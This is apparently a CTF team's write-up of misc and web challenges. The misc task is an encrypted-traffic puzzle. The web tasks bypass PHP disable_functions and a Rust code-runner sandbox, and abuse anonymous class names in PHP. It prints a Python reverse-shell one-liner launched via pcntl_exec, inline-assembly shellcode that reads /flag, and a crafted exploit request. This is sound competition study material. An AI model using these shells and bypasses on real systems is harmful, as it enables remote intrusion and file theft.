本文最后更新于 157 天前,其中的信息可能已经有所发展或是发生改变。
Misc
加密流量
- 数据包很少,关注四个UDP包即可,前两个包可以解出
HANDSHAKE
AES-EBC FF
- 观察到第三四个包前16字节相同
(对不起,没观察到),为ada796133d9a31fa60df7a80fd81eaf6
,异或0xff
得到ECB的密钥
525869ecc265ce059f20857f027e1509
- 解包可得到带宏的xls,记得去除前16个字节
- 爆破异或的值为
0x0a
,得到flag
Web
Unauth
- www.zip得到登陆密码,存在
disable_function
,可任意文件读,读php.ini
// ?cmd=var_dump(file_get_contents(%22/usr/local/etc/php/php.ini%22));
disable_functions = eval,assert,fwrite,file_put_contents,phpinfo,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,lin,putenv,mail,chroot,chgrp,dl,readlink
- 可使用
pcntl_exec
反弹shell
pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("ip",port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));
- 读同目录
config.php
得到admin用户密码,切交互式命令行,切换用户读flag
python -c 'import pty;pty.spawn("/bin/sh")'
Playground
- 队里pwn手唯一的题(乐
#[macro_use] extern crate rocket;
use std::fs;
use std::fs::File;
use std::io::Write;
use std::process::Command;
use rand::Rng;
#[get("/")]
fn index() -> String {
fs::read_to_string("main.rs").unwrap_or(String::default())
}
#[post("/rust_code", data = "<code>")]
fn run_rust_code(code: String) -> String{
if code.contains("std") {
return "Error: std is not allowed".to_string();
}
//generate a random 5 length file name
let file_name = rand::thread_rng()
.sample_iter(&rand::distributions::Alphanumeric)
.take(5)
.map(char::from)
.collect::<String>();
if let Ok(mut file) = File::create(format!("playground/{}.rs", &file_name)) {
file.write_all(code.as_bytes());
}
if let Ok(build_output) = Command::new("rustc")
.arg(format!("playground/{}.rs",&file_name))
.arg("-C")
.arg("debuginfo=0")
.arg("-C")
.arg("opt-level=3")
.arg("-o")
.arg(format!("playground/{}",&file_name))
.output() {
if !build_output.status.success(){
fs::remove_file(format!("playground/{}.rs",&file_name));
return String::from_utf8_lossy(build_output.stderr.as_slice()).to_string();
}
}
fs::remove_file(format!("playground/{}.rs",&file_name));
if let Ok(output) = Command::new(format!("playground/{}",&file_name))
.output() {
if !output.status.success(){
fs::remove_file(format!("playground/{}",&file_name));
return String::from_utf8_lossy(output.stderr.as_slice()).to_string();
} else{
fs::remove_file(format!("playground/{}",&file_name));
return String::from_utf8_lossy(output.stdout.as_slice()).to_string();
}
}
return String::default();
}
#[launch]
fn rocket() -> _ {
let figment = rocket::Config::figment()
.merge(("address", "0.0.0.0"));
rocket::custom(figment).mount("/", routes![index,run_rust_code])
}
- exp
extern crate core;
use core::arch::asm;
fn main() {
unsafe {
asm!("
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x67616c662f
xor [rsp], rax
mov rdi, rsp
xor edx, edx
xor esi, esi
push 2
pop rax
syscall
mov rdi, rax
xor eax, eax
push 0x64
pop rdx
mov rsi, rsp
syscall
push 2
pop rdi
push 0x64
pop rdx
mov rsi, rsp
push 1
pop rax
syscall
");
}
}
- 预期解
include!("/flag")
Easyphp
- error-based-oracle,现成的项目直接打,https://github.com/synacktiv/php_filter_chains_oracle_exploit
<?php
highlight_file(__FILE__);
// flag.php
if (isset($_POST['f'])) {
echo
hash_file('md5', $_POST['f']);
}
?>
- flag.php
<?php
if (isset($_GET['ezphpPhp8'])) {
highlight_file(__FILE__);
} else {
die("No");
}
$a = new class {
function __construct()
{
}
function getflag()
{
system('cat /flag');
}
};
unset($a);
$a = $_GET['ezphpPhp8'];
$f = new $a();
$f->getflag();
?>
调试
- 很明显要获取匿名类,参考p牛获取匿名函数的调试过程,查看匿名类名规则
// 匿名类名生成规则
static zend_string *zend_generate_anon_class_name(zend_ast_decl *decl)
{
zend_string *filename = CG(active_op_array)->filename;
uint32_t start_lineno = decl->start_lineno;
/* Use parent or first interface as prefix. */
zend_string *prefix = ZSTR_KNOWN(ZEND_STR_CLASS);
if (decl->child[0]) {
prefix = zend_resolve_const_class_name_reference(decl->child[0], "class name");
} else if (decl->child[1]) {
zend_ast_list *list = zend_ast_get_list(decl->child[1]);
prefix = zend_resolve_const_class_name_reference(list->child[0], "interface name");
}
zend_string *result = zend_strpprintf(0, "%s@anonymous%c%s:%" PRIu32 "$%" PRIx32,
ZSTR_VAL(prefix), '\0', ZSTR_VAL(filename), start_lineno, CG(rtd_key_counter)++);
zend_string_release(prefix);
return zend_new_interned_string(result);
}
- poc
GET /flag.php?ezphpPhp8=class%40anonymous%00%2fvar/www/html/flag.php%3a7$1 HTTP/1.1
Host: host
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 0
输出
- 唉,sb了,直接输出就是了
<?php
$anonymous = new class {
function __construct()
{
}
function getflag()
{
system('cat /flag');
}
};
$a = get_class($anonymous);
echo urlencode($a);
- 打的时候把最后一个数字调大点儿然后爆,由
zend_generate_anon_class_name
可知CG(rtd_key_counter)++
递增